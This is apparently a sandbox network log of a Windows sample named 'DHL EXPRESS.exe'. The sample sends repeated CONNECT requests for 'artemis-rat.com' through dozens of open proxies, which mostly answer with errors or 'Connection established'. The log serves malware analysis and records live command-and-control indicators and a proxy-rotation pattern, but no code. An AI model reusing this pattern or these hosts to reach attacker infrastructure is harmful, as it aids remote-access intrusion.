Mar 11, 2024 18:36:59.769365072 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.769273043 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:17.862529039 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:29.862602949 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1650	192.168.2.8	51189	92.204.135.37	22942	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.685158968 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.769129992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.769398928 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.769285917 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:17.862554073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:29.865047932 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:41.971945047 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:05.991856098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1651	192.168.2.8	54715	129.213.150.205	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.690372944 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.906327009 CET	741	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.23.4 Date: Mon, 11 Mar 2024 17:36:53 GMT Content-Type: text/html Content-Length: 579 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 33 2e 34 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center><hr><center>nginx/1.23.4</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1652	192.168.2.8	54657	94.131.14.66	1081	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.709644079 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1653	192.168.2.8	54617	38.54.116.9	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.720827103 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1654	192.168.2.8	54866	211.234.125.5	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.726402998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1655	192.168.2.8	54425	120.194.4.157	5443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.734987020 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1656	192.168.2.8	54878	211.234.125.5	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.736677885 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1657	192.168.2.8	54882	211.234.125.5	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.739628077 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1658	192.168.2.8	54884	211.234.125.5	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.741441011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1659	192.168.2.8	54670	51.75.126.150	4228	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.822945118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1660	192.168.2.8	54677	54.36.122.16	39713	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.823287964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.565078974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.552396059 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.409840107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.206620932 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.894227982 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:08.689971924 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:16.003163099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1661	192.168.2.8	54727	192.154.246.96	9000	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.823657990 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1662	192.168.2.8	54660	47.100.236.23	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.834379911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.120256901 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1663	192.168.2.8	54680	46.47.197.210	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.834952116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.171027899 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Mon, 11 Mar 2024 17:36:54 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3699 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from host X-Cache-Lookup: NONE from host:3128 Connection: keep-alive Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e d0 9e d0 a8 d0 98 d0 91 d0 9a d0 90 3a 20 d0 97 d0 b0 d0 bf d1 80 d0 be d1 88 d0 b5 d0 bd d0 bd d1 8b d0 b9 20 55 52 4c 20 d0 bd d0 b5 20 d0 bc d0 be d0 b6 d0 b5 d1 82 20 d0 b1 d1 8b d1 82 d1 8c 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2020 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>: URL </title><style type="text/css">... /* * Copyright (C) 1996-2020 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin-left: 15px;padding: 10px

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1664	192.168.2.8	54696	8.130.39.117	3389	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.834952116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.161377907 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1665	192.168.2.8	54683	103.23.100.1	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.835344076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1666	192.168.2.8	54663	216.9.224.113	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.836421967 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.195955038 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 17:36:54 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1667	192.168.2.8	54691	20.206.106.192	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.839824915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.171505928 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Mon, 11 Mar 2024 17:36:54 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1668	192.168.2.8	54762	185.162.231.254	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.859658003 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.013962984 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:53 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1669	192.168.2.8	54729	154.205.152.96	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.859858036 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.075225115 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1670	192.168.2.8	54766	104.21.64.208	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.860143900 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
